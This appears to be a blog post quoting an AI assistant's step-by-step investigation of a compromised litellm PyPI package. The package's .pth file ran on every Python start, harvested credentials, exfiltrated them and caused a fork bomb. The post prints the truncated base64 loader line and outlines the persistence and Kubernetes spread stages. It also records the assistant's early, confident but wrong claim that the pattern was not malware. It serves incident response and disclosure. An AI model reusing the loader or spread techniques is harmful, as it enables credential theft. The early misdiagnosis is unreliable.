My minute-by-minute response to the LiteLLM malware attack

Now I have the full picture. Here's my analysis:

What 2.1.81 is: Claude Code v2.1.81. You had 5 Claude Code instances running at shutdown time.

Shutdown timeline:

• 01:36:33 — Force shutdown initiated
• 01:36:36 — Shutdown stall captured (162 processes still running, 21 of them Python)
• 01:37:11 — System booted

Process tree at shutdown:

Normal Claude Code MCP servers (2 instances):

Claude Code [82193] → python3.13 [88842] → node [88854] (416MB)
Claude Code [35621] → python3.13 [45088] → node [45091] (228MB)

These are MCP server bridges — Python wraps a Node.js MCP server. Normal behavior.

A uv run chain:

zsh → uv [74172] (deadlocked) → python3.13 [74174] (running a .py file)
→ python3.13 [74180] (python -c "...", reading pipe)
→ python3.13 [86263] (running .py file, sleeping + os.stat)
→ python3.13 [86264] (python -c "...", reading pipe)

14 orphaned python -c processes (two batches of 7):

• PIDs 89759-89765 (~38 hours old)
• PIDs 67956-67962 (different age)
• All running _PyRun_SimpleStringFlagsWithName — this is python -c "exec(base64.b64decode(...))"
• All orphaned (parent died, reparented to launchd)
• All stuck reading from a dead pipe

What likely happened:

The exec(base64.b64decode('...')) pattern is not malware — it's how Python tooling (including Claude Code's Bash tool) passes code snippets to python -c while avoiding shell escaping issues. The base64 encoding is just a safe transport mechanism.

The 11k process storm was likely a runaway spawning loop from one of these sources:

1. A Claude Code tool/agent interaction that got stuck in a loop spawning python -c processes
2. A uv run script (the 74174 chain) that had a subprocess spawning bug

Good news:

• No persistence mechanisms found — no suspicious crontabs, launch agents, or launchd jobs
• No suspicious Python processes running now — clean after reboot
• All processes used your local uv Python — nothing from unknown paths
• No malicious indicators — all parents trace back to Claude Code, uv, or zsh

Recommendations:

1. Check if you had a Claude Code agent running in a loop before the incident
2. If it happens again, try killall python3.13 before force-shutting down
3. Consider setting a process limit: ulimit -u 2048 in your .zshrc to prevent fork bombs

Yes, that could be very useful! The htop screenshot might show:

• The actual python -c "exec(base64.b64decode('...'))" command lines (which would let me decode what code was being run)
• The parent PIDs and process tree at peak chaos
• Memory/CPU usage patterns

If you can transfer the photo to your Mac (AirDrop, iCloud, etc.), just give me the file path and I'll read it.

So the payload starts with:

import subprocess
import tempfile

That's the beginning of the decoded script. This is consistent with a Claude Code tool execution — when Claude Code runs Python via the Bash tool, it encodes the script as base64 and runs it with python -c "exec(base64.b64decode('...'))" to avoid shell escaping issues. The subprocess + tempfile imports are typical of utility scripts Claude Code generates.

The 11k process storm was almost certainly a Claude Code session that got stuck in a loop, repeatedly spawning these python -c commands. Each invocation would import subprocess/tempfile, likely spawning further child processes.

Can you read any more of the base64 string from the photo? Even a few more characters would help confirm exactly what the script was doing. Alternatively, if you can tell from htop whether the processes all had the same base64 string or different ones, that would also help narrow it down.

Also — do you remember what you were asking Claude Code to do right before this happened? That would probably be the fastest way to identify the trigger.

I've hit a wall on forensic data for the 11:09 incident — the hard power-off prevented any diagnostic capture. But I found a lot from the earlier 01:36 incident, which showed the same symptoms.

Here's what I can tell you:

The 01:36 incident (which DID leave a stall report) showed:

• 5 Claude Code v2.1.81 instances running simultaneously
• 21 orphaned python3.13 processes running python -c "exec(base64.b64decode(...))" — all using your uv Python
• Two of those Python processes were spawned directly by Claude Code as MCP server bridges (Python → Node.js)
• The orphaned processes' parents had died, leaving them stuck reading from dead pipes
• A uv run chain: uv → python → python (children) — matching the agent SDK pattern in your [personal project]

The decoded payload you read from htop:

import subprocess
import tempfile

This is the start of a Claude Code tool-execution wrapper — Claude Code base64-encodes Python scripts to avoid shell escaping issues when running them via python -c.

For the 11:09 incident, the only trace I can find is that your [session ID] session went idle at 09:43 after pushing a commit, and the terminal died at 11:08. No Claude Code session logs cover the 09:43-11:08 gap.

Key question: Do you remember what you were doing in that ~1.5 hour gap between the Claude Code session ending (09:43) and the crash (11:08)? Were you:

• Running [personal project] scripts?
• Running another Claude Code instance that might not have written logs?
• Running anything else that uses python -c or the Claude Agent SDK?

OK, here's my best reconstruction of the 11:09 incident based on all the evidence:

Timeline (all times UTC):

What happened:

Cursor was applying an auto-update at 10:59. When it shut down the 4 extension hosts, it needed to cleanly terminate 6 MCP servers, the Claude Code extension, basedpyright, and other language servers.

The exthost.log shows the Claude Code extension's dispose() threw Channel has been closed errors, and both pyright extensions timed out during shutdown. This indicates unclean process cleanup.

The python -c "exec(base64.b64decode('import subprocess\nimport tempfile...'))" processes are most likely from Python environment detection that Cursor/extensions run. When the extension hosts restarted with the new Cursor version, they likely re-ran Python discovery — but the old processes from the previous version hadn't been cleaned up. Combined with the network permission dialog blocking things, this created a cascading spawn loop.

Recommendations:

1. Disable Cursor auto-update — apply updates manually: Settings → "update.mode": "manual"
2. Reduce MCP server count — you have the same MCP servers in both .mcp.json and .cursor/mcp.json. Consider disabling some in Cursor if you primarily use them through Claude Code CLI.
3. Add ulimit -u 2048 to your .zshrc to cap processes and prevent future fork bombs from taking down the system.
4. The futuresearch-mcp-legacy is broken — it keeps failing with ENOENT/missing API key, triggering repeated reconnection attempts. Either configure FUTURESEARCH_API_KEY or remove it from Cursor's plugin list.

This is malware in the litellm PyPI package. The litellm_init.pth file is a supply chain attack that:

1. Executes on EVERY Python startup (.pth files run automatically)
2. Steals credentials: SSH keys, AWS secrets, GCP credentials, Kubernetes tokens, .env files, database passwords, crypto wallets, shell history
3. Exfiltrates data to https://models.litellm.cloud/ encrypted with RSA
4. Installs persistence via systemd services (~/.config/sysmon/sysmon.py)
5. Spreads to Kubernetes cluster nodes by creating privileged pods
6. Self-replicates — spawns python -c children which trigger .pth again, causing the 11k process fork bomb

The fork bomb was a side effect: because litellm_init.pth runs on every Python startup and the script spawns subprocess.run([sys.executable, ...]), each child Python process also triggers the .pth file, creating infinite recursion.

This is serious. Here's the full picture:

What happened:

1. At 10:58:37, Cursor's futuresearch-mcp-legacy ran uvx, which depends on litellm
2. uv downloaded a compromised version of litellm (14.9MB) containing litellm_init.pth
3. The .pth file executes automatically on every Python process startup
4. The malware collected your credentials, encrypted them with RSA, and attempted to exfiltrate to https://models.litellm.cloud/
5. The fork bomb was a side effect — each subprocess.run([sys.executable, ...]) call triggered the .pth in the child process, causing exponential process spawning
6. At 11:07, the malware tried to install persistence at ~/.config/sysmon/sysmon.py
7. You force-rebooted at 11:09, interrupting the persistence (file is 0 bytes)

Credentials likely exfiltrated (assume compromised):

• SSH keys (id_ed25519, id_ed25519_hetzner, id_ed25519_mac_air)
• GCloud application default credentials
• Kubernetes config (~/.kube/config)
• Multiple .env files across [internal repo] (Supabase passwords, API keys visible in .mcp.json)
• Shell history
• Git config
• All environment variables (including anything in your shell profile)

Immediate actions:

1. Rotate ALL SSH keys — generate new ones, revoke old ones on GitHub/servers
2. Rotate GCloud credentials — gcloud auth revoke + re-authenticate
3. Rotate Kubernetes credentials — regenerate kubeconfig
4. Rotate ALL secrets in your .env files — Supabase passwords, API keys, etc.
5. Rotate the credentials visible in .mcp.json — the Supabase passwords, ClickHouse password, Grafana token
6. Purge the uv cache — rm -rf ~/.cache/uv to remove all cached packages
7. Report this to litellm — this is a compromised package on PyPI
8. Check if models.litellm.cloud is a known malicious domain — this is NOT the legitimate litellm infrastructure

Should I help with any of these rotation steps?

Yes — confirmed. The file contents are preserved in the tool results cache. The first line is:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...

This is exactly the exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...')) pattern you saw in htop.

And the persistence directory did exist on your machine:

~/.config/sysmon/sysmon.py  — 0 bytes, created at 11:07

The 0-byte file means the write was interrupted by your forced reboot. The malware was 2 minutes into installing persistence when you killed it.

The file was in two places in uv's cache — both copies of litellm_init.pth in cached archives.

Both are now deleted. But I'd strongly recommend purging the entire uv cache (rm -rf ~/.cache/uv) and rotating all the credentials I listed — the exfiltration to models.litellm.cloud may have succeeded before the fork bomb brought down your system.

Kubernetes is clean. No node-setup-* or sysmon pods found anywhere. The most recent pod creation in kube-system was March 21 (metrics-server), well before the incident.

The malware's K8s spread code targets Linux paths (/var/run/secrets/kubernetes.io/serviceaccount/token) which don't exist on macOS. The malware ran on your Mac, not inside a pod, so it wouldn't have had a K8s service account token to authenticate with. Your ~/.kube/config credentials could theoretically have been used, but the fork bomb likely crashed the process before it got to the K8s lateral movement stage of the script.

All clean. Every pod created today is from your normal infrastructure — CronJobs ([internal service]) and deployments ([internal service]). No malicious node-setup-* or alpine:latest pods.

The K8s cluster was not compromised. The malware's K8s spread almost certainly failed because:

1. It ran on macOS, not inside a pod (no service account token at /var/run/secrets/...)
2. The fork bomb crashed the process before it could reach the K8s code path
3. Even with your ~/.kube/config, GKE RBAC may have prevented creating privileged pods in kube-system

Still need to rotate your kubeconfig credentials as a precaution — the malware did attempt to read ~/.kube/config and could have exfiltrated it before the fork bomb hit.

The litellm_init.pth IS in the official package manifest — the RECORD file lists it with a sha256 hash. This means it was shipped as part of the litellm==1.82.8 wheel on PyPI, not injected locally.

The infection chain:

Cursor → futuresearch-mcp-legacy (v0.6.0) → litellm (v1.82.8) → litellm_init.pth

The Cursor log at 10:58:38 confirms: Downloading litellm (14.9MiB) → Installed 77 packages. This was uvx pulling in litellm as a transitive dependency.

No public reports exist yet. This appears to be a very fresh compromise — version 1.82.8 was published to PyPI today (March 24, 2026). There is no corresponding GitHub release tag for v1.82.8, which is suspicious — it suggests someone published directly to PyPI without going through the normal release process.

Your local [internal repo] environment is safe — it has litellm 1.70.4, pinned to <1.77.3. The infected version only entered via Cursor's uvx futuresearch-mcp-legacy invocation.

You should report this immediately:

1. PyPI — email security@pypi.org to get v1.82.8 yanked
2. BerriAI/litellm — open a security advisory at github.com/BerriAI/litellm/security
3. Your team — anyone who installed litellm today may be affected

Do you want me to help draft the report?

There it is in full. The structure is:

• litellm_init.pth — a one-liner that runs on every Python startup, spawns a child process with the base64 payload
• Stage 2 (the decoded payload) — an RSA public key for encrypting stolen data
• B64_SCRIPT — a THIRD stage (the credential harvester) that steals SSH keys, .env files, AWS/GCP/Azure/K8s creds, crypto wallets, database passwords, shell history, etc.
• run() — executes the harvester as a subprocess, collects its output, encrypts it with the RSA key + AES, and POSTs it to https://models.litellm.cloud/
• Persistence installation at ~/.config/sysmon/sysmon.py with a systemd service
• K8s lateral movement — creates privileged alpine:latest pods on every node to install the persistence on cluster nodes

The fork bomb was caused by line 1: subprocess.Popen([sys.executable, "-c", ...]) — this child Python process also has the .pth in its site-packages, so it triggers the .pth again, which spawns another child, infinitely.

You won't find it on GitHub because it doesn't exist there. Here's the proof:

• No GitHub tag for v1.82.7 or v1.82.8 — the latest tagged releases are v1.82.6.rc.2 and various dev builds
• PyPI upload time: 2026-03-24T10:52:19 UTC — that's 6 minutes before Cursor downloaded it at 10:58:37
• Not yanked — it's still live on PyPI right now

This was almost certainly published by someone who compromised the litellm PyPI publishing credentials (or a maintainer account). They uploaded a poisoned v1.82.8 directly to PyPI without going through the normal GitHub release process. The version number was chosen to be higher than any existing release so it would be picked up by >= version constraints.

The .pth file was embedded in the wheel at the top level of site-packages — this is a standard Python packaging trick where a .pth file placed alongside packages gets auto-executed by the Python interpreter on startup.

This package is still live on PyPI and actively infecting people. You should report this now:

• PyPI: security@pypi.org — request immediate yank of litellm 1.82.8 (and check 1.82.7)
• BerriAI/litellm: open a security issue at github.com/BerriAI/litellm/security/advisories

Confirmed. Fresh download from PyPI right now in an isolated Docker container:

Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...

The malicious litellm==1.82.8 is live on PyPI right now and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.

Given the nature of the attack (PyPI supply chain, targets LLM/AI developers, K8s lateral movement), the highest-signal subreddits would be:

• r/Python — largest audience of people who might have pip install litellm in their recent history
• r/netsec — security professionals who can amplify and help get PyPI to act fast
• r/LocalLLaMA — litellm is heavily used in the local LLM community for model routing
• r/MachineLearning — broad AI/ML audience, many litellm users
• r/devops — the K8s lateral movement angle is directly relevant here

I'd prioritize r/Python and r/netsec first — those two will get the fastest response from people who can act on it (package maintainers, PyPI admins, and security responders). r/LocalLLaMA third since litellm is a core tool in that community.